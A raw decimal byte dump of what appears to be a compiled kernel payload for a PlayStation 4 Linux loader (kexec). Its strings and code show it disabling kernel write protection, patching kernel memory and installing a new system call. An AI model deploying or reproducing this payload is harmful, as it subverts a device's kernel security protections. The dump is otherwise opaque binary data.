61,155,20,0,0,49,192,255,21,122,23,0,0,65,139,116,36,40,72,141,61,149,20,0,0,49,192,255,21,102,23,0,0,65,139,116,36,36,76,137,247,186,64,0,0,0,77,141,110,64,72,41,222,72,1,238,232,212,253,255,255,65,139,84,36,4,76,137,230,76,137,239,232,196,253,255,255,76,137,240,72,43,4,36,65,139,84,36,4,3,68,36,36,73,141,116,21,56,65,137,70,100,77,137,238,235,116,77,133,237,116,72,65,139,117,40,73,129,198,240,0,0,0,76,137,247,72,41,222,72,1,238,139,86,4,232,133,253,255,255,65,139,69,40,76,137,239,72,41,216,139,84,5,4,76,137,240,72,43,4,36,3,68,36,36,77,141,180,22,116,1,0,0,65,137,69,40,232,115,253,255,255,235,15,72,141,61,253,19,0,0,49,192,255,21,192,22,0,0,65,139,84,36,4,76,137,230,76,137,247,232,58,253,255,255,65,139,116,36,4,76,1,246,76,137,247,232,66,253,255,255,77,137,242,76,43,20,36,68,3,84,36,36,73,137,246,72,139,68,36,16,68,137,209,70,137,148,189,72,128,0,0,74,137,76,248,84,73,255,199,233,131,254,255,255,131,124,36,40,0,65,184,0,0,0,0,76,137,246,68,15,73,68,36,40,72,43,52,36,72,139,76,36,16,73,99,192,65,255,192,1,243,137,156,133,72,128,0,0,72,137,92,193,84,49,192,65,198,4,6,0,72,255,192,72,131,248,84,117,242,72,184,73,86,82,83,84,0,0,0,65,198,70,8,1,73,137,6,73,141,126,10,186,6,0,0,0,72,141,53,91,19,0,0,232,150,252,255,255,73,141,126,16,186,8,0,0,0,72,141,53,77,19,0,0,232,129,252,255,255,65,199,70,24,37,18,22,32,186,4,0,0,0,73,141,126,28,72,141,53,57,19,0,0,232,100,252,255,255,72,184,37,18,22,32,64,48,32,0,65,199,70,80,4,167,0,0,73,137,70,32,72,184,16,40,36,0,2,0,64,0,73,137,70,48,184,0,0,0,252,73,137,70,56,184,1,36,0,4,72,193,224,37,76,137,247,73,137,70,64,72,184,2,160,0,48,3,161,0,0,73,137,70,72,232,44,252,255,255,72,139,92,36,16,77,141,86,84,66,141,4,133,36,0,0,0,137,133,40,128,0,0,66,141,4,197,36,0,0,0,49,210,137,67,52,49,192,198,133,32,128,0,0,0,198,133,8,128,0,0,0,2,132,21,0,128,0,0,72,255,194,72,131,250,20,117,240,247,216,49,210,136,133,8,128,0,0,49,192,2,132,21,0,128,0,0,72,255,194,72,131,250,36,117,240,247,216,72,139,124,36,48,136,133,32,128,0,0,232,186,251,255,255,72,139,124,36,24,232,176,251,255,255,72,139,52,36,72,137,239,76,137,210,72,43,20,36,72,131,196,72,91,93,65,92,65,93,65,94,65,95,233,119,251,255,255,243,15,30,250,131,200,255,131,255,4,137,249,119,15,184,1,0,0,0,137,194,211,226,137,209,211,224,255,200,195,243,15,30,250,72,139,53,188,20,0,0,72,9,254,138,70,2,168,1,116,6,131,224,254,136,70,2,15,182,126,2,102,209,239,131,231,7,232,184,255,255,255,137,70,16,195,243,15,30,250,137,248,76,141,5,228,6,0,0,247,208,49,255,72,57,250,116,21,15,182,12,62,72,255,199,49,193,193,232,8,15,182,201,65,51,4,136,235,230,247,208,195,15,32,192,72,137,194,72,129,226,255,255,254,255,15,34,194,195,15,32,192,129,231,0,0,1,0,72,9,199,15,34,199,195,243,15,30,250,83,72,137,251,72,139,5,107,20,0,0,106,6,73,131,200,255,106,0,49,201,186,2,1,0,0,72,137,222,72,139,56,65,185,1,0,0,0,255,21,90,20,0,0,72,137,198,88,72,133,246,90,116,206,72,139,61,65,20,0,0,255,21,83,20,0,0,91,72,11,5,251,19,0,0,195,243,15,30,250,72,133,255,72,137,242,116,19,72,139,5,23,20,0,0,72,137,254,72,139,56,255,37,35,20,0,0,195,243,15,30,250,72,133,246,15,132,217,0,0,0,65,84,85,83,72,137,253,72,131,236,16,72,133,255,15,132,186,0,0,0,72,137,242,49,192,72,137,243,72,137,254,72,141,61,14,17,0,0,255,21,169,19,0,0,72,133,237,120,65,72,141,61,25,17,0,0,49,192,255,21,149,19,0,0,72,137,238,72,141,61,61,17,0,0,49,192,255,21,131,19,0,0,72,141,61,80,17,0,0,49,192,255,21,116,19,0,0,72,141,61,116,17,0,0,49,192,255,21,101,19,0,0,235,92,255,21,189,19,0,0,49,192,232,227,254,255,255,72,141,61,139,17,0,0,73,137,196,49,192,255,21,68,19,0,0,102,199,68,36,2,255,37,49,192,199,68,36,4,0,0,0,0,72,137,108,36,8,138,84,4,2,136,20,3,72,255,192,72,131,248,14,117,240,15,9,76,137,231,232,178,254,255,255,255,21,118,19,0,0,184,1,0,0,0,235,2,49,192,72,131,196,16,91,93,65,92,195,49,192,195,243,15,30,250,65,84,85,83,72,99,223,72,107,219,48,72,137,245,65,137,212,72,3,29,53,19,0,0,255,21,55,19,0,0,49,192,232,93,254,255,255,49,201,72,137,199,198,4,11,0,72,255,193,72,131,249,48,117,243,68,137,35,72,137,107,8,199,67,44,1,0,0,0,232,73,254,255,255,91,93,65,92,255,37,9,19,0,0,243,15,30,250,65,84,72,129,231,0,192,255,255,76,141,166,255,63,0,0,85,73,129,228,0,192,255,255,83,72,137,253,137,211,137,209,72,137,254,76,137,226,72,141,61,201,16,0,0,49,192,255,21,104,18,0,0,15,182,203,76,137,226,91,72,137,238,72,139,61,135,18,0,0,93,65,92,255,37,158,18,0,0,243,15,30,250,72,133,255,85,83,81,116,7,72,137,61,11,18,0,0,72,139,21,4,18,0,0,72,133,210,116,11,72,141,61,161,16,0,0,49,192,255,210,72,139,21,237,17,0,0,72,133,210,15,132,35,2,0,0,72,141,178,208,133,244,255,247,198,255,63,0,0,72,137,53,240,17,0,0,116,16,72,141,61,127,16,0,0,49,192,255,210,233,253,1,0,0,49,192,72,141,61,137,16,0,0,255,210,72,139,5,204,17,0,0,72,139,21,165,17,0,0,139,176,164,4,185,1,139,128,168,4,185,1,72,193,230,39,72,193,224,30,72,9,198,184,255,255,1,0,72,193,224,47,72,9,198,72,133,210,72,137,53,160,17,0,0,116,11,72,141,61,87,16,0,0,49,192,255,210,156,91,250,49,192,232,30,253,255,255,72,199,5,14,18,0,0,0,0,0,0,72,137,197,72,139,5,108,17,0,0,72,141,144,48,122,11,0,72,141,136,48,125,11,0,72,137,21,103,17,0,0,72,137,21,48,17,0,0,72,141,144,160,22,39,0,72,137,21,98,17,0,0,72,141,144,176,21,39,0,72,137,13,76,17,0,0,72,141,136,240,208,28,0,72,137,21,78,17,0,0,72,141,144,80,27,39,0,72,137,21,72,17,0,0,72,141,144,72,141,38,2,72,137,13,130,17,0,0,72,141,136,240,43,67,0,72,137,21,52,17,0,0,72,141,144,176,4,185,1,72,137,13,110,17,0,0,72,141,136,0,42,67,0,72,137,21,32,17,0,0,72,141,144,128,8,39,0,72,137,13,90,17,0,0,72,141,136,96,23,46,0,72,137,21,12,17,0,0,72,141,144,64,192,55,0,72,137,13,70,17,0,0,72,141,136,96,194,74,0,72,137,21,248,16,0,0,72,141,144,80,208,18,0,72,137,13,58,17,0,0,72,141,136,128,242,77,0,72,137,21,228,16,0,0,72,141,144,240,225,18,0,72,137,13,38,17,0,0,72,141,136,144,76,108,2,72,137,21,208,16,0,0,72,141,144,16,3,16,1,72,137,13,18,17,0,0,72,141,136,88,192,116,2,72,137,21,188,16,0,0,72,141,144,208,208,28,0,72,137,13,254,16,0,0,72,141,136,96,8,24,0,72,5,128,163,41,0,72,137,21,162,16,0,0,72,137,13,235,16,0,0,72,137,5,236,16,0,0,255,210,72,141,61,251,14,0,0,49,192,255,21,35,16,0,0,72,141,61,34,15,0,0,49,192,199,5,208,16,0,0,1,0,0,0,255,21,10,16,0,0,72,141,61,14,15,0,0,49,192,255,21,251,15,0,0,72,137,239,232,145,251,255,255,83,157,90,49,192,91,93,195,0,0,0,3,0,0,0,121,0,0,0,0,0,0,0,0,0,0,0,245,254,255,111,0,0,0,0,96,54,0,0,0,0,0,0,5,0,0,0,0,0,0,0,88,54,0,0,0,0,0,0,6,0,0,0,0,0,0,0,64,54,0,0,0,0,0,0,10,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,11,0,0,0,0,0,0,0,24,0,0,0,0,0,0,0,21,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,30,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,251,255,255,111,0,0,0,0,1,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,18,220,0,64,20,49,9,0,64,149,12,0,60,196,0,0,3,220,43,0,0,204,13,0,60,204,126,0,36,196,0,0,64,150,1,128,64,124,0,0,0,136,127,0,64,212,1,128,64,124,0,0,0,136,0,0,0,0,0,0,0,0,0,0,18,220,0,64,20,49,9,0,64,149,12,0,32,196,0,0,3,220,47,0,0,204,18,0,32,204,126,0,36,196,0,0,64,150,1,128,64,124,0,0,0,136,127,0,64,212,1,128,64,124,0,0,0,136,0,0,0,0,0,0,0,0,0,0,18,220,0,64,20,49,9,0,64,149,22,0,32,196,0,0,3,220,73,0,0,204,19,0,32,204,126,0,36,196,0,0,64,150,1,128,64,124,0,0,0,136,127,0,64,212,1,128,64,124,0,0,0,136,0,0,0,0,0,0,0,0,0,32,0,0,0,0,0,0,104,16,0,0,0,0,0,0,104,16,0,0,0,0,0,0,128,33,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,0,24,0,0,0,0,0,0,104,16,0,0,0,0,0,0,104,16,0,0,0,0,0,0,128,33,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,0,0,0,0,150,48,7,119,44,97,14,238,186,81,9,153,25,196,109,7,143,244,106,112,53,165,99,233,163,149,100,158,50,136,219,14,164,184,220,121,30,233,213,224,136,217,210,151,43,76,182,9,189,124,177,126,7,45,184,231,145,29,191,144,100,16,183,29,242,32,176,106,72,113,185,243,222,65,190,132,125,212,218,26,235,228,221,109,81,181,212,244,199,133,211,131,86,152,108,19,192,168,107,100,122,249,98,253,236,201,101,138,79,92,1,20,217,108,6,99,99,61,15,250,245,13,8,141,200,32,110,59,94,16,105,76,228,65,96,213,114,113,103,162,209,228,3,60,71,212,4,75,253,133,13,210,107,181,10,165,250,168,181,53,108,152,178,66,214,201,187,219,64,249,188,172,227,108,216,50,117,92,223,69,207,13,214,220,89,61,209,171,172,48,217,38,58,0,222,81,128,81,215,200,22,97,208,191,181,244,180,33,35,196,179,86,153,149,186,207,15,165,189,184,158,184,2,40,8,136,5,95,178,217,12,198,36,233,11,177,135,124,111,47,17,76,104,88,171,29,97,193,61,45,102,182,144,65,220,118,6,113,219,1,188,32,210,152,42,16,213,239,137,133,177,113,31,181,182,6,165,228,191,159,51,212,184,232,162,201,7,120,52,249,0,15,142,168,9,150,24,152,14,225,187,13,106,127,45,61,109,8,151,108,100,145,1,92,99,230,244,81,107,107,98,97,108,28,216,48,101,133,78,0,98,242,237,149,6,108,123,165,1,27,193,244,8,130,87,196,15,245,198,217,176,101,80,233,183,18,234,184,190,139,124,136,185,252,223,29,221,98,73,45,218,21,243,124,211,140,101,76,212,251,88,97,178,77,206,81,181,58,116,0,188,163,226,48,187,212,65,165,223,74,215,149,216,61,109,196,209,164,251,244,214,211,106,233,105,67,252,217,110,52,70,136,103,173,208,184,96,218,115,45,4,68,229,29,3,51,95,76,10,170,201,124,13,221,60,113,5,80,170,65,2,39,16,16,11,190,134,32,12,201,37,181,104,87,179,133,111,32,9,212,102,185,159,228,97,206,14,249,222,94,152,201,217,41,34,152,208,176,180,168,215,199,23,61,179,89,129,13,180,46,59,92,189,183,173,108,186,192,32,131,184,237,182,179,191,154,12,226,182,3,154,210,177,116,57,71,213,234,175,119,210,157,21,38,219,4,131,22,220,115,18,11,99,227,132,59,100,148,62,106,109,13,168,90,106,122,11,207,14,228,157,255,9,147,39,174,0,10,177,158,7,125,68,147,15,240,210,163,8,135,104,242,1,30,254,194,6,105,93,87,98,247,203,103,101,128,113,54,108,25,231,6,107,110,118,27,212,254,224,43,211,137,90,122,218,16,204,74,221,103,111,223,185,249,249,239,190,142,67,190,183,23,213,142,176,96,232,163,214,214,126,147,209,161,196,194,216,56,82,242,223,79,241,103,187,209,103,87,188,166,221,6,181,63,75,54,178,72,218,43,13,216,76,27,10,175,246,74,3,54,96,122,4,65,195,239,96,223,85,223,103,168,239,142,110,49,121,190,105,70,140,179,97,203,26,131,102,188,160,210,111,37,54,226,104,82,149,119,12,204,3,71,11,187,185,22,2,34,47,38,5,85,190,59,186,197,40,11,189,178,146,90,180,43,4,106,179,92,167,255,215,194,49,207,208,181,139,158,217,44,29,174,222,91,176,194,100,155,38,242,99,236,156,163,106,117,10,147,109,2,169,6,9,156,63,54,14,235,133,103,7,114,19,87,0,5,130,74,191,149,20,122,184,226,174,43,177,123,56,27,182,12,155,142,210,146,13,190,213,229,183,239,220,124,33,223,219,11,212,210,211,134,66,226,212,241,248,179,221,104,110,131,218,31,205,22,190,129,91,38,185,246,225,119,176,111,119,71,183,24,230,90,8,136,112,106,15,255,202,59,6,102,92,11,1,17,255,158,101,143,105,174,98,248,211,255,107,97,69,207,108,22,120,226,10,160,238,210,13,215,84,131,4,78,194,179,3,57,97,38,103,167,247,22,96,208,77,71,105,73,219,119,110,62,74,106,209,174,220,90,214,217,102,11,223,64,240,59,216,55,83,174,188,169,197,158,187,222,127,207,178,71,233,255,181,48,28,242,189,189,138,194,186,202,48,147,179,83,166,163,180,36,5,54,208,186,147,6,215,205,41,87,222,84,191,103,217,35,46,122,102,179,184,74,97,196,2,27,104,93,148,43,111,42,55,190,11,180,161,142,12,195,27,223,5,90,141,239,2,45,115,121,115,95,107,101,120,101,99,32,105,110,118,111,107,101,100,10,0,115,121,115,95,107,101,120,101,99,40,37,112,44,32,37,122,117,44,32,37,112,44,32,37,122,117,44,32,34,37,115,34,41,10,0,70,97,105,108,101,100,32,116,111,32,97,108,108,111,99,97,116,101,32,105,109,97,103,101,10,0,70,97,105,108,101,100,32,116,111,32,99,111,112,121,32,105,110,32,105,109,97,103,101,10,0,70,97,105,108,101,100,32,116,111,32,97,108,108,111,99,97,116,101,32,105,110,105,116,114,97,109,102,115,10,0,70,97,105,108,101,100,32,116,111,32,101,120,116,114,97,99,116,32,71,80,85,32,102,105,114,109,119,97,114,101,32,45,32,99,111,110,116,105,110,117,105,110,103,32,97,110,121,119,97,121,10,0,70,97,105,108,101,100,32,116,111,32,99,111,112,121,32,105,110,32,105,110,105,116,114,97,109,102,115,10,0,70,97,105,108,101,100,32,116,111,32,97,108,108,111,99,97,116,101,32,99,109,100,108,105,110,101,10,0,70,97,105,108,101,100,32,116,111,32,99,111,112,121,32,105,110,32,99,109,100,108,105,110,101,10,0,10,107,101,120,101,99,32,112,97,114,97,109,101,116,101,114,115,58,10,0,32,32,32,32,75,101,114,110,101,108,32,105,109,97,103,101,32,115,105,122,101,58,32,32,32,37,122,117,32,98,121,116,101,115,10,0,32,32,32,32,73,110,105,116,114,97,109,102,115,32,115,105,122,101,58,32,32,32,32,32,32,37,122,117,32,98,121,116,101,115,32,40,37,122,117,32,102,114,111,109,32,117,115,101,114,41,10,0,32,32,32,32,75,101,114,110,101,108,32,99,111,109,109,97,110,100,32,108,105,110,101,58,32,37,115,10,0,32,32,32,32,75,101,114,110,101,108,32,105,109,97,103,101,32,98,117,102,102,101,114,58,32,37,112,10,0,32,32,32,32,73,110,105,116,114,97,109,102,115,32,98,117,102,102,101,114,58,32,32,32,32,37,112,10,0,70,97,105,108,101,100,32,116,111,32,97,108,108,111,99,97,116,101,32,98,112,10,0,70,97,105,108,101,100,32,116,111,32,105,110,115,116,97,108,108,32,115,104,117,116,100,111,119,110,32,104,111,111,107,10,0,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,10,0,107,101,120,101,99,32,115,117,99,99,101,115,115,102,117,108,108,121,32,97,114,109,101,100,46,32,80,108,101,97,115,101,32,115,104,117,116,32,100,111,119,110,32,116,104,101,32,115,121,115,116,101,109,46,10,0,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,10,10,0,73,110,115,116,97,108,108,105,110,103,32,115,121,115,95,107,101,120,101,99,32,116,111,32,115,121,115,116,101,109,32,99,97,108,108,32,35,37,100,10,0,107,101,120,101,99,95,105,110,105,116,40,41,32,115,117,99,99,101,115,115,102,117,108,10,10,0,107,101,120,101,99,58,32,87,97,105,116,105,110,103,32,102,111,114,32,115,101,99,111,110,100,97,114,121,32,67,80,85,115,46,46,46,10,0,107,101,120,101,99,58,32,83,101,99,111,110,100,97,114,121,32,67,80,85,115,32,113,117,105,101,115,99,101,100,10,0,107,101,120,101,99,58,32,83,101,116,116,105,110,103,32,117,112,32,71,68,84,46,46,46,10,0,107,101,120,101,99,58,32,82,101,108,111,99,97,116,105,110,103,32,115,116,117,98,46,46,46,10,0,107,101,120,101,99,58,32,83,101,116,116,105,110,103,32,117,112,32,98,111,111,116,32,112,97,114,97,109,115,46,46,46,10,0,107,101,120,101,99,58,32,67,108,101,97,110,105,110,103,32,117,112,32,104,97,114,100,119,97,114,101,46,46,46,10,0,107,101,120,101,99,58,32,82,101,99,111,110,102,105,103,117,114,105,110,103,32,86,82,65,77,46,46,46,10,0,107,101,120,101,99,58,32,82,101,115,101,116,116,105,110,103,32,71,80,85,46,46,46,10,0,107,101,120,101,99,58,32,65,98,111,117,116,32,116,111,32,114,101,108,111,99,97,116,101,32,97,110,100,32,106,117,109,112,32,116,111,32,107,101,114,110,101,108,10,0,107,101,120,101,99,58,32,117,110,114,101,97,99,104,97,98,108,101,32,40,63,41,10,0,104,111,111,107,95,105,99,99,95,113,117,101,114,121,95,110,111,119,97,105,116,32,99,97,108,108,101,100,10,0,65,67,80,73,32,116,97,98,108,101,115,32,102,105,120,101,100,10,0,104,111,111,107,95,105,99,99,95,113,117,101,114,121,95,110,111,119,97,105,116,58,32,117,110,114,101,97,99,104,97,98,108,101,32,40,63,41,10,0,78,79,80,32,104,97,110,100,108,101,114,32,97,116,32,48,120,37,120,10,0,48,55,48,55,48,49,0,67,111,112,121,105,110,103,32,37,115,32,102,105,114,109,119,97,114,101,10,0,99,111,112,121,95,102,105,114,109,119,97,114,101,58,32,37,115,58,32,101,120,112,101,99,116,101,100,32,115,105,122,101,32,37,100,44,32,103,111,116,32,37,100,10,0,108,105,118,101,114,112,111,111,108,0,103,108,97,100,105,117,115,0,102,105,114,109,119,97,114,101,95,101,120,116,114,97,99,116,58,32,67,111,117,108,100,32,110,111,116,32,108,111,99,97,116,101,32,102,105,114,109,119,97,114,101,32,116,97,98,108,101,0,107,101,121,0,107,101,121,47,101,97,112,95,104,100,100,95,107,101,121,46,98,105,110,0,108,105,98,0,108,105,98,47,102,105,114,109,119,97,114,101,0,108,105,98,47,102,105,114,109,119,97,114,101,47,101,100,105,100,0,108,105,98,47,102,105,114,109,119,97,114,101,47,101,100,105,100,47,109,121,95,101,100,105,100,46,98,105,110,0,97,109,100,103,112,117,0,108,105,98,47,102,105,114,109,119,97,114,101,47,37,115,47,0,37,115,37,115,95,112,102,112,46,98,105,110,0,102,105,114,109,119,97,114,101,95,101,120,116,114,97,99,116,58,32,69,120,116,114,97,99,116,32,37,115,32,10,0,80,70,80,0,37,115,37,115,95,109,101,46,98,105,110,0,77,69,0,37,115,37,115,95,99,101,46,98,105,110,0,67,69,0,37,115,37,115,95,109,101,99,46,98,105,110,0,77,69,67,0,37,115,37,115,95,109,101,99,50,46,98,105,110,0,77,69,67,50,0,37,115,37,115,95,114,108,99,46,98,105,110,0,82,76,67,0,37,115,37,115,95,115,100,109,97,46,98,105,110,0,83,68,77,65,0,84,82,65,73,76,69,82,33,33,33,0,37,115,37,115,95,115,100,109,97,49,46,98,105,110,0,83,68,77,65,49,0,102,105,114,109,119,97,114,101,95,101,120,116,114,97,99,116,58,32,111,118,101,114,102,108,111,119,33,32,37,100,32,62,32,37,100,10,0,70,105,120,105,110,103,32,65,67,80,73,32,116,97,98,108,101,115,32,97,116,32,48,120,37,108,108,120,32,40,37,112,41,10,0,82,83,68,84,32,97,116,32,48,120,37,120,10,0,88,83,68,84,32,97,116,32,48,120,37,108,108,120,10,0,37,99,37,99,37,99,37,99,32,97,116,32,48,120,37,120,10,0,70,65,67,83,32,97,116,32,48,120,37,120,10,0,68,83,68,84,32,97,116,32,48,120,37,120,10,0,69,82,82,79,82,58,32,110,111,32,70,65,68,84,32,121,101,116,63,10,0,70,48,70,32,32,32,0,80,83,52,75,69,88,69,67,0,75,69,88,67,0,107,101,114,110,101,108,95,104,111,111,107,95,105,110,115,116,97,108,108,40,37,112,44,32,37,112,41,10,0,10,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,32,87,65,82,78,73,78,71,32,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,10,0,104,111,111,107,32,116,97,114,103,101,116,32,102,117,110,99,116,105,111,110,32,97,100,100,114,101,115,115,58,32,37,112,10,0,73,116,32,108,111,111,107,115,32,108,105,107,101,32,119,101,39,114,101,32,114,117,110,110,105,110,103,32,102,114,111,109,32,117,115,101,114,108,97,110,100,32,109,101,109,111,114,121,46,10,0,80,108,101,97,115,101,32,114,117,110,32,116,104,105,115,32,99,111,100,101,32,102,114,111,109,32,97,32,107,101,114,110,101,108,32,109,101,109,111,114,121,32,109,97,112,112,105,110,103,46,10,10,0,32,32,85,115,105,110,103,32,54,52,98,105,116,32,97,98,115,111,108,117,116,101,32,106,117,109,112,10,0,112,109,97,112,95,112,114,111,116,101,99,116,40,112,109,97,112,44,32,37,112,44,32,37,112,44,32,37,100,41,10,0,107,101,114,110,101,108,95,105,110,105,116,40,41,10,0,75,101,114,110,101,108,32,98,97,115,101,32,105,115,32,110,111,116,32,97,108,105,103,110,101,100,10,0,75,101,114,110,101,108,32,98,97,115,101,32,61,32,37,108,108,120,10,0,68,105,114,101,99,116,32,109,97,112,32,98,97,115,101,32,61,32,37,108,108,120,10,0,84,101,115,116,105,110,103,32,103,108,111,98,97,108,32,118,97,114,105,97,98,108,101,32,97,99,99,101,115,115,32,40,119,114,105,116,101,32,112,114,111,116,101,99,116,105,111,110,41,46,46,46,10,0,79,75,46,10,0,75,101,114,110,101,108,32,105,110,116,101,114,102,97,99,101,32,105,110,105,116,105,97,108,105,122,101,100,10,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,239,190,173,222,243,15,30,250,85,72,137,229,199,69,252,130,0,0,192,139,69,252,137,193,15,50,137,69,248,137,85,244,139,69,244,72,193,224,32,72,137,194,139,69,248,72,9,208,93,195,243,15,30,250,85,72,137,229,72,131,236,48,232,193,255,255,255,72,45,192,1,0,0,72,137,69,240,72,139,69,240,72,5,48,122,11,0,72,137,69,232,72,139,69,240,72,5,112,190,55,0,72,137,69,224,72,139,69,240,72,5,72,141,38,2,72,137,69,216,72,139,85,224,72,141,13,130,255,255,255,72,141,5,163,199,255,255,72,41,193,72,137,200,72,137,193,72,139,69,216,72,139,0,72,137,206,72,137,199,255,210,72,137,69,208,199,69,252,0,0,0,0,235,35,139,69,252,72,99,208,72,139,69,208,72,1,194,139,69,252,72,152,72,141,13,101,199,255,255,15,182,4,8,136,2,131,69,252,1,139,69,252,72,152,72,141,21,79,199,255,255,72,1,194,72,141,5,29,255,255,255,72,57,194,117,194,72,139,85,208,72,139,69,232,190,0,0,0,0,72,137,199,255,210,144,201,195,73,137,202,72,199,192,153,0,0,0,15,5,195,243,15,30,250,85,72,137,229,72,131,236,64,72,137,125,216,72,137,117,208,72,137,85,200,72,139,69,216,190,0,0,0,0,72,137,199,184,0,0,0,0,232,198,197,255,255,137,69,236,131,125,236,0,121,10,184,255,255,255,255,233,200,0,0,0,139,69,236,186,2,0,0,0,190,0,0,0,0,137,199,232,55,198,255,255,72,137,194,72,139,69,200,72,137,16,72,139,69,200,72,139,0,65,185,0,0,0,0,65,184,255,255,255,255,185,2,16,0,0,186,3,0,0,0,72,137,198,191,0,0,0,0,232,240,197,255,255,72,139,85,208,72,137,2,72,139,69,208,72,139,0,72,137,69,248,72,139,69,200,72,139,0,72,137,69,240,139,69,236,186,0,0,0,0,190,0,0,0,0,137,199,232,210,197,255,255,235,55,72,139,85,240,72,139,77,248,139,69,236,72,137,206,137,199,232,16,197,255,255,72,137,69,224,72,131,125,224,0,117,7,184,255,255,255,255,235,38,72,139,69,224,72,1,69,248,72,139,69,224,72,41,69,240,72,131,125,240,0,117,194,139,69,236,137,199,232,3,197,255,255,184,0,0,0,0,201,195,243,15,30,250,85,72,137,229,72,131,236,32,72,137,125,232,190,0,0,0,0,72,141,61,138,19,0,0,232,20,197,255,255,72,141,61,143,19,0,0,232,103,197,255,255,137,69,252,139,69,252,186,0,0,0,0,190,0,64,0,0,137,199,232,118,197,255,255,139,69,252,137,199,232,89,197,255,255,190,30,0,0,0,191,1,0,0,0,232,197,196,255,255,144,201,195,243,15,30,250,85,72,137,229,72,131,236,32,72,137,125,232,72,139,5,55,51,0,0,72,133,192,117,47,190,0,0,0,0,72,141,61,70,19,0,0,232,211,195,255,255,72,137,69,248,72,139,69,248,72,141,53,90,19,0,0,72,137,199,232,234,195,255,255,72,137,5,3,51,0,0,72,139,21,252,50,0,0,72,139,69,232,72,137,198,191,222,0,0,0,255,210,144,201,195,243,15,30,250,85,72,137,229,72,137,125,232,199,69,252,0,0,0,0,199,69,248,0,0,0,0,235,5,72,131,69,232,1,72,139,69,232,15,182,0,60,32,116,240,72,139,69,232,15,182,0,60,45,15,148,192,15,182,192,137,69,248,235,52,72,139,69,232,15,182,0,136,69,247,128,125,247,47,126,47,128,125,247,57,127,41,139,85,252,137,208,193,224,2,1,208,1,192,137,69,252,15,190,69,247,131,232,48,1,69,252,72,131,69,232,1,72,139,69,232,15,182,0,132,192,117,193,131,125,248,0,116,7,139,69,252,247,216,235,3,139,69,252,93,195,243,15,30,250,85,72,137,229,72,129,236,240,0,0,0,72,141,61,181,18,0,0,232,241,254,255,255,72,199,69,208,0,0,0,0,72,199,69,216,0,0,0,0,72,199,69,224,0,0,0,0,72,199,69,232,0,0,0,0,72,199,69,208,1,0,0,0,72,141,69,208,186,0,0,0,0,72,137,198,191,17,0,0,0,232,155,195,255,255,72,141,69,208,186,0,0,0,0,72,137,198,191,15,0,0,0,232,133,195,255,255,72,141,69,208,186,0,0,0,0,72,137,198,191,9,0,0,0,232,111,195,255,255,72,199,69,200,0,0,0,0,72,199,69,192,0,0,0,0,72,199,69,184,0,0,0,0,72,199,69,176,0,0,0,0,72,199,69,168,0,0,0,0,72,199,69,160,0,0,0,0,72,199,69,152,0,0,0,0,72,199,69,144,0,0,0,0,199,69,248,0,0,0,0,72,141,85,192,72,141,69,200,72,137,198,72,141,61,2,18,0,0,232,190,252,255,255,133,192,116,76,72,141,85,192,72,141,69,200,72,137,198,72,141,61,249,17,0,0,232,163,252,255,255,133,192,116,49,72,141,85,192,72,141,69,200,72,137,198,72,141,61,240,17,0,0,232,136,252,255,255,133,192,116,22,72,141,61,254,17,0,0,232,227,253,255,255,184,1,0,0,0,233,152,2,0,0,72,141,85,176,72,141,69,184,72,137,198,72,141,61,72,18,0,0,232,87,252,255,255,133,192,116,76,72,141,85,176,72,141,69,184,72,137,198,72,141,61,73,18,0,0,232,60,252,255,255,133,192,116,49,72,141,85,176,72,141,69,184,72,137,198,72,141,61,79,18,0,0,232,33,252,255,255,133,192,116,22,72,141,61,103,18,0,0,232,124,253,255,255,184,1,0,0,